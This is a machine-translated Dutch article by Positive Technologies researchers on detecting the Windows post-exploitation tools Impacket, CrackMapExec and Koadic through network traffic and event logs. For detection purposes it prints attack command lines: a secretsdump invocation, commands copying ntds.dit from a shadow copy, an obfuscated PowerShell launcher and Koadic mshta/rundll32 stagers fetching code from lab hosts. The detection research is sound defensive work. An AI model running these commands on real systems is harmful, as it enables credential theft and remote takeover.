Hoe aanvallen op de Windows-infrastructuur te detecteren: hackertools bestuderen

Hoe aanvallen op de Windows-infrastructuur te detecteren: hackertools bestuderen

Het aantal aanvallen in het bedrijfsleven groeit bijvoorbeeld elk jaar in 2017 werden 13% meer unieke incidenten geregistreerd dan in 2016, en eind 2018 - 27% meer incidentendan in de voorgaande periode. Inclusief die waarbij het belangrijkste werkinstrument het Windows-besturingssysteem is. In 2017-2018 heeft de APT Dragonfly, APT28, APT modderig water voerde aanvallen uit op regerings- en militaire organisaties in Europa, Noord-Amerika en Saoedi-Arabië. En we gebruikten hiervoor drie hulpmiddelen: Impakket, CrackMapExec и Koadisch. Hun broncode is open en beschikbaar op GitHub.

Het is vermeldenswaard dat deze tools niet worden gebruikt voor initiële penetratie, maar om een ​​aanval binnen de infrastructuur te ontwikkelen. Aanvallers gebruiken ze in verschillende stadia van de aanval, nadat ze de perimeter zijn binnengedrongen. Dit is overigens lastig te detecteren en vaak alleen met behulp van technologie het identificeren van sporen van compromissen in het netwerkverkeer of hulpmiddelen die dit mogelijk maken actieve acties van een aanvaller detecteren nadat deze de infrastructuur is binnengedrongen. De tools bieden een verscheidenheid aan functies, van het overbrengen van bestanden tot interactie met het register en het uitvoeren van opdrachten op een externe machine. We hebben een onderzoek naar deze tools uitgevoerd om hun netwerkactiviteit te bepalen.

Wat we moesten doen:

  • Begrijp hoe hacktools werken. Ontdek wat aanvallers moeten misbruiken en welke technologieën ze kunnen gebruiken.
  • Ontdek wat niet wordt gedetecteerd door informatiebeveiligingstools in de eerste fasen van een aanval. De verkenningsfase kan worden overgeslagen, omdat de aanvaller een interne aanvaller is, of omdat de aanvaller misbruik maakt van een gat in de infrastructuur dat voorheen niet bekend was. Het wordt mogelijk om de hele keten van zijn acties te herstellen, vandaar de wens om verdere beweging te detecteren.
  • Elimineer valse positieven uit inbraakdetectietools. We mogen niet vergeten dat wanneer bepaalde acties alleen op basis van verkenning worden ontdekt, er vaak fouten kunnen optreden. Meestal zijn er in de infrastructuur voldoende manieren om informatie te verkrijgen, die op het eerste gezicht niet te onderscheiden zijn van legitieme manieren.

Wat bieden deze tools aanvallers? Als dit Impacket is, ontvangen aanvallers een grote bibliotheek met modules die kunnen worden gebruikt in verschillende stadia van de aanval die volgen nadat de perimeter is doorbroken. Veel tools gebruiken intern Impacket-modules, bijvoorbeeld Metasploit. Het heeft dcomexec en wmiexec voor het uitvoeren van opdrachten op afstand, secretdump voor het ophalen van accounts uit het geheugen die zijn toegevoegd vanuit Impacket. Als gevolg hiervan zal een correcte detectie van de activiteit van een dergelijke bibliotheek de detectie van derivaten garanderen.

Het is geen toeval dat de makers “Powered by Impacket” schreven over CrackMapExec (of simpelweg CME). Bovendien heeft CME kant-en-klare functionaliteit voor populaire scenario's: Mimikatz voor het verkrijgen van wachtwoorden of hun hashes, implementatie van Meterpreter of Empire-agent voor uitvoering op afstand, en Bloodhound aan boord.

De derde tool die we kozen was Koadic. Het is vrij recent, het werd gepresenteerd op de internationale hackerconferentie DEFCON 25 in 2017 en onderscheidt zich door een niet-standaard aanpak: het werkt via HTTP, Java Script en Microsoft Visual Basic Script (VBS). Deze aanpak wordt leven van het land genoemd: de tool maakt gebruik van een reeks afhankelijkheden en bibliotheken die in Windows zijn ingebouwd. De makers noemen het COM Command & Control, oftewel C3.

IMPACKET

De functionaliteit van Impacket is zeer breed, variërend van verkenning binnen AD en het verzamelen van gegevens van interne MS SQL-servers tot technieken voor het verkrijgen van inloggegevens: dit is een SMB-relay-aanval en het verkrijgen van het ntds.dit-bestand met hashes van gebruikerswachtwoorden van een domeincontroller. Impacket voert ook opdrachten op afstand uit met behulp van vier verschillende methoden: WMI, Windows Scheduler Management Service, DCOM en SMB, en heeft hiervoor inloggegevens nodig.

Geheimendump

Laten we eens kijken naar secretdump. Dit is een module die zich zowel op gebruikersmachines als op domeincontrollers kan richten. Het kan worden gebruikt om kopieën te verkrijgen van geheugengebieden LSA, SAM, SECURITY, NTDS.dit, zodat het in verschillende stadia van de aanval kan worden gezien. De eerste stap in de werking van de module is authenticatie via SMB, waarvoor het wachtwoord van de gebruiker of de hash ervan vereist is om de Pass the Hash-aanval automatisch uit te voeren. Vervolgens komt een verzoek om toegang tot Service Control Manager (SCM) te openen en toegang te krijgen tot het register via het winreg-protocol, waarmee een aanvaller de gegevens van interessante takken kan achterhalen en resultaten kan verkrijgen via SMB.

In afb. 1 zien we hoe precies bij gebruik van het winreg-protocol toegang wordt verkregen met behulp van een registersleutel met een LSA. Gebruik hiervoor het DCERPC-commando met opcode 15 - OpenKey.

Hoe aanvallen op de Windows-infrastructuur te detecteren: hackertools bestuderen
Rijst. 1. Een registersleutel openen met behulp van het winreg-protocol

Wanneer vervolgens toegang tot de sleutel wordt verkregen, worden de waarden opgeslagen met het SaveKey-commando met opcode 20. Impacket doet dit op een heel specifieke manier. Het slaat de waarden op in een bestand waarvan de naam een ​​reeks van 8 willekeurige tekens is, aangevuld met .tmp. Bovendien vindt verdere upload van dit bestand plaats via SMB vanuit de System32-directory (Fig. 2).

Hoe aanvallen op de Windows-infrastructuur te detecteren: hackertools bestuderen
Rijst. 2. Schema voor het verkrijgen van een registersleutel van een externe machine

Het blijkt dat dergelijke activiteit op het netwerk kan worden gedetecteerd door zoekopdrachten naar bepaalde registervestigingen met behulp van het winreg-protocol, specifieke namen, opdrachten en hun volgorde.

Deze module laat ook sporen achter in het Windows-gebeurtenislogboek, waardoor het gemakkelijk te detecteren is. Bijvoorbeeld als gevolg van het uitvoeren van de opdracht

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

In het Windows Server 2016-logboek zien we de volgende belangrijke reeks gebeurtenissen:

1. 4624 - Aanmelden op afstand.
2. 5145 - toegangsrechten tot de externe service van Winreg controleren.
3. 5145 - toegangsrechten tot bestanden in de System32-directory controleren. Het bestand heeft de hierboven genoemde willekeurige naam.
4. 4688 - een cmd.exe-proces maken dat vssadmin start:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - een proces maken met de opdracht:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - een proces maken met de opdracht:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - een proces maken met de opdracht:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Zoals veel post-exploitatietools heeft Imppacket modules voor het op afstand uitvoeren van opdrachten. We zullen ons concentreren op smbexec, dat een interactieve opdrachtshell biedt op een externe machine. Deze module vereist ook authenticatie via SMB, met een wachtwoord of een wachtwoord-hash. In afb. In Figuur 3 zien we een voorbeeld van hoe zo’n tool werkt, in dit geval is het de lokale beheerdersconsole.

Hoe aanvallen op de Windows-infrastructuur te detecteren: hackertools bestuderen
Rijst. 3. Interactieve smbexec-console

De eerste stap van smbexec na authenticatie is het openen van de SCM met de opdracht OpenSCManagerW (15). De vraag is opmerkelijk: het veld MachineName is DUMMY.

Hoe aanvallen op de Windows-infrastructuur te detecteren: hackertools bestuderen
Rijst. 4. Verzoek om Service Control Manager te openen

Vervolgens wordt de service gemaakt met behulp van de opdracht CreateServiceW (12). In het geval van smbexec kunnen we elke keer dezelfde commandoconstructielogica zien. In afb. 5 groen geeft onveranderlijke commandoparameters aan, geel geeft aan wat een aanvaller kan veranderen. Het is gemakkelijk in te zien dat de naam van het uitvoerbare bestand, de directory en het uitvoerbestand kunnen worden gewijzigd, maar de rest is veel moeilijker te wijzigen zonder de logica van de Impacket-module te verstoren.

Hoe aanvallen op de Windows-infrastructuur te detecteren: hackertools bestuderen
Rijst. 5. Verzoek om een ​​service te creëren met behulp van Service Control Manager

Smbexec laat ook duidelijke sporen achter in het Windows-gebeurtenislogboek. In het Windows Server 2016-logboek voor de interactieve opdrachtshell met de opdracht ipconfig zien we de volgende reeks gebeurtenissen:

1. 4697 — installatie van de dienst op de machine van het slachtoffer:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - creatie van het proces cmd.exe met de argumenten uit punt 1.
3. 5145 - toegangsrechten tot het __output-bestand in de C$-directory controleren.
4. 4697 — installatie van de dienst op de machine van het slachtoffer.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - creatie van het proces cmd.exe met de argumenten uit punt 4.
6. 5145 - toegangsrechten tot het __output-bestand in de C$-directory controleren.

Impacket is de basis voor de ontwikkeling van aanvalstools. Het ondersteunt vrijwel alle protocollen in de Windows-infrastructuur en heeft tegelijkertijd zijn eigen karakteristieke kenmerken. Hier zijn specifieke winreg-verzoeken, en het gebruik van de SCM API met karakteristieke opdrachtformatie, en het bestandsnaamformaat, en SMB-share SYSTEM32.

CRACKMAPEXEC

De CME-tool is primair ontworpen om de routinematige acties te automatiseren die een aanvaller moet uitvoeren om verder te komen binnen het netwerk. Hiermee kun je samenwerken met de bekende Empire-agent en Meterpreter. Om commando's heimelijk uit te voeren, kan CME ze verdoezelen. Met Bloodhound (een afzonderlijke verkenningstool) kan een aanvaller het zoeken naar een actieve domeinbeheerdersessie automatiseren.

Bloedhond

Bloodhound maakt als zelfstandig hulpmiddel geavanceerde verkenningen binnen het netwerk mogelijk. Het verzamelt gegevens over gebruikers, machines, groepen, sessies en wordt geleverd als een PowerShell-script of binair bestand. Voor het verzamelen van informatie worden LDAP- of SMB-gebaseerde protocollen gebruikt. Dankzij de CME-integratiemodule kan Bloodhound naar de machine van het slachtoffer worden gedownload, de verzamelde gegevens uitvoeren en ontvangen na uitvoering, waardoor acties in het systeem worden geautomatiseerd en minder opvallend worden gemaakt. De grafische shell van Bloodhound presenteert de verzamelde gegevens in de vorm van grafieken, waarmee u het kortste pad van de machine van de aanvaller naar de domeinbeheerder kunt vinden.

Hoe aanvallen op de Windows-infrastructuur te detecteren: hackertools bestuderen
Rijst. 6. Bloedhondinterface

Om op de machine van het slachtoffer te draaien, maakt de module een taak aan met behulp van ATSVC en SMB. ATSVC is een interface voor het werken met de Windows Task Scheduler. CME gebruikt de functie NetrJobAdd(1) om taken via het netwerk aan te maken. Een voorbeeld van wat de CME-module verzendt, wordt getoond in Fig. 7: Dit is een cmd.exe-opdrachtaanroep en versluierde code in de vorm van argumenten in XML-indeling.

Hoe aanvallen op de Windows-infrastructuur te detecteren: hackertools bestuderen
Afb.7. Een taak aanmaken via CME

Nadat de taak ter uitvoering is aangeboden, start de machine van het slachtoffer zelf Bloodhound, en dit is te zien aan het verkeer. De module wordt gekenmerkt door LDAP-query's om standaardgroepen te verkrijgen, een lijst met alle machines en gebruikers in het domein, en informatie te verkrijgen over actieve gebruikerssessies via het SRVSVC NetSessEnum-verzoek.

Hoe aanvallen op de Windows-infrastructuur te detecteren: hackertools bestuderen
Rijst. 8. Een lijst met actieve sessies verkrijgen via SMB

Bovendien gaat het starten van Bloodhound op de computer van een slachtoffer met auditing ingeschakeld gepaard met een gebeurtenis met ID 4688 (procescreatie) en de procesnaam «C:WindowsSystem32cmd.exe». Wat er opmerkelijk aan is, zijn de opdrachtregelargumenten:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

De enum_avproducts-module is erg interessant vanuit het oogpunt van functionaliteit en implementatie. Met WMI kunt u de WQL-querytaal gebruiken om gegevens uit verschillende Windows-objecten op te halen, wat in wezen is wat deze CME-module gebruikt. Het genereert vragen naar de klassen AntiSpywareProduct en AntiМirusProduct over de beveiligingshulpmiddelen die op de computer van het slachtoffer zijn geïnstalleerd. Om de benodigde gegevens te verkrijgen, maakt de module verbinding met de rootSecurityCenter2-naamruimte, genereert vervolgens een WQL-query en ontvangt een antwoord. In afb. Figuur 9 toont de inhoud van dergelijke verzoeken en antwoorden. In ons voorbeeld werd Windows Defender gevonden.

Hoe aanvallen op de Windows-infrastructuur te detecteren: hackertools bestuderen
Rijst. 9. Netwerkactiviteit van de enum_avproducts-module

Vaak is WMI-auditing (Trace WMI-Activity), waarbij u nuttige informatie over WQL-query's kunt vinden, uitgeschakeld. Maar als dit is ingeschakeld, wordt er een gebeurtenis opgeslagen met ID 11 als het script enum_avproducts wordt uitgevoerd. Deze bevat de naam van de gebruiker die het verzoek heeft verzonden en de naam in de naamruimte rootSecurityCenter2.

Elk van de CME-modules had zijn eigen artefacten, of het nu ging om specifieke WQL-query's of het creëren van een bepaald type taak in een taakplanner met verduistering en Bloodhound-specifieke activiteit in LDAP en SMB.

KOADIC

Een onderscheidend kenmerk van Koadic is het gebruik van JavaScript- en VBScript-tolken die in Windows zijn ingebouwd. In die zin volgt het de trend van leven van het land, dat wil zeggen dat het geen externe afhankelijkheden heeft en standaard Windows-tools gebruikt. Dit is een tool voor volledige Command & Control (CnC), aangezien na infectie een “implantaat” op de machine wordt geïnstalleerd, waardoor deze kan worden aangestuurd. Zo’n machine wordt in de Koadische terminologie een ‘zombie’ genoemd. Als er onvoldoende rechten zijn voor volledige werking aan de kant van het slachtoffer, heeft Koadic de mogelijkheid om deze te verhogen met behulp van technieken voor het omzeilen van gebruikersaccountbeheer (UAC-bypass).

Hoe aanvallen op de Windows-infrastructuur te detecteren: hackertools bestuderen
Rijst. 10. Koadische Shell

Het slachtoffer moet de communicatie met de Command & Control-server initiëren. Om dit te doen, moet ze contact opnemen met een eerder voorbereide URI en het hoofdlichaam van de Koadic ontvangen met behulp van een van de stagers. In afb. Figuur 11 toont een voorbeeld voor de mshta-stager.

Hoe aanvallen op de Windows-infrastructuur te detecteren: hackertools bestuderen
Rijst. 11. Initialiseren van een sessie met de CnC-server

Op basis van de antwoordvariabele WS wordt duidelijk dat de uitvoering plaatsvindt via WScript.Shell, en dat de variabelen STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH en EXPIRE belangrijke informatie bevatten over de parameters van de huidige sessie. Dit is het eerste verzoek-antwoordpaar in een HTTP-verbinding met een CnC-server. Volgende verzoeken houden rechtstreeks verband met de functionaliteit van de opgeroepen modules (implantaten). Alle Koadic-modules werken alleen bij een actieve sessie met CnC.

Mimikatz

Net zoals CME met Bloodhound werkt, werkt Koadic met Mimikatz als een apart programma en heeft het meerdere manieren om het te lanceren. Hieronder vindt u een verzoek-antwoordpaar voor het downloaden van het Mimikatz-implantaat.

Hoe aanvallen op de Windows-infrastructuur te detecteren: hackertools bestuderen
Rijst. 12. Breng Mimikatz over naar Koadic

U kunt zien hoe het URI-formaat in het verzoek is gewijzigd. Het bevat nu een waarde voor de csrf-variabele, die verantwoordelijk is voor de geselecteerde module. Let niet op haar naam; We weten allemaal dat CSRF doorgaans anders wordt geïnterpreteerd. Het antwoord was hetzelfde hoofdgedeelte van Koadic, waaraan code met betrekking tot Mimikatz was toegevoegd. Het is vrij groot, dus laten we naar de belangrijkste punten kijken. Hier hebben we de Mimikatz-bibliotheek gecodeerd in base64, een geserialiseerde .NET-klasse die deze zal injecteren, en argumenten om Mimikatz te starten. Het uitvoeringsresultaat wordt in duidelijke tekst over het netwerk verzonden.

Hoe aanvallen op de Windows-infrastructuur te detecteren: hackertools bestuderen
Rijst. 13. Resultaat van het uitvoeren van Mimikatz op een externe machine

Exec_cmd

Koadic heeft ook modules die op afstand commando's kunnen uitvoeren. Hier zullen we dezelfde URI-generatiemethode en de bekende sid- en csrf-variabelen zien. In het geval van de exec_cmd-module wordt code aan de body toegevoegd die shell-opdrachten kan uitvoeren. Hieronder wordt een dergelijke code weergegeven die is opgenomen in het HTTP-antwoord van de CnC-server.

Hoe aanvallen op de Windows-infrastructuur te detecteren: hackertools bestuderen
Rijst. 14. Implantaatcode exec_cmd

De GAWTUUGCFI-variabele met het bekende WS-attribuut is vereist voor het uitvoeren van code. Met zijn hulp roept het implantaat de shell aan en verwerkt twee takken van code: shell.exec met de terugkeer van de uitvoergegevensstroom en shell.run zonder terug te keren.

Koadic is geen typisch hulpmiddel, maar heeft zijn eigen artefacten waarmee het in legitiem verkeer kan worden gevonden:

  • speciale vorming van HTTP-verzoeken,
  • met behulp van de winHttpRequests-API,
  • een WScript.Shell-object maken via ActiveXObject,
  • grote uitvoerbare body.

De initiële verbinding wordt geïnitieerd door de stager, dus het is mogelijk om de activiteit ervan te detecteren via Windows-gebeurtenissen. Voor mshta is dit gebeurtenis 4688, die de creatie van een proces met het startattribuut aangeeft:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Terwijl Koadic actief is, kun je andere 4688-evenementen zien met kenmerken die het perfect kenmerken:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Bevindingen

De trend ‘leven van het land’ wint aan populariteit onder criminelen. Ze gebruiken de tools en mechanismen die in Windows zijn ingebouwd voor hun behoeften. We zien populaire tools Koadic, CrackMapExec en Impacket die dit principe volgen steeds vaker verschijnen in APT-rapporten. Het aantal forks op GitHub voor deze tools groeit ook en er verschijnen nieuwe (er zijn er nu al ongeveer duizend). De trend wint aan populariteit vanwege de eenvoud ervan: aanvallers hebben geen tools van derden nodig; deze bevinden zich al op de machines van slachtoffers en helpen hen beveiligingsmaatregelen te omzeilen. We concentreren ons op het bestuderen van netwerkcommunicatie: elk hierboven beschreven hulpmiddel laat zijn eigen sporen achter in het netwerkverkeer; Een gedetailleerde studie ervan stelde ons in staat ons product te onderwijzen Ontdekking van PT-netwerkaanvallen kunnen ze opsporen, wat uiteindelijk helpt om de hele keten van cyberincidenten waarbij ze betrokken zijn, te onderzoeken.

Auteurs:

  • Anton Tyurin, hoofd van de afdeling Expert Services, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, expert, PT Expert Security Center, Positive Technologies

Bron: www.habr.com

Voeg een reactie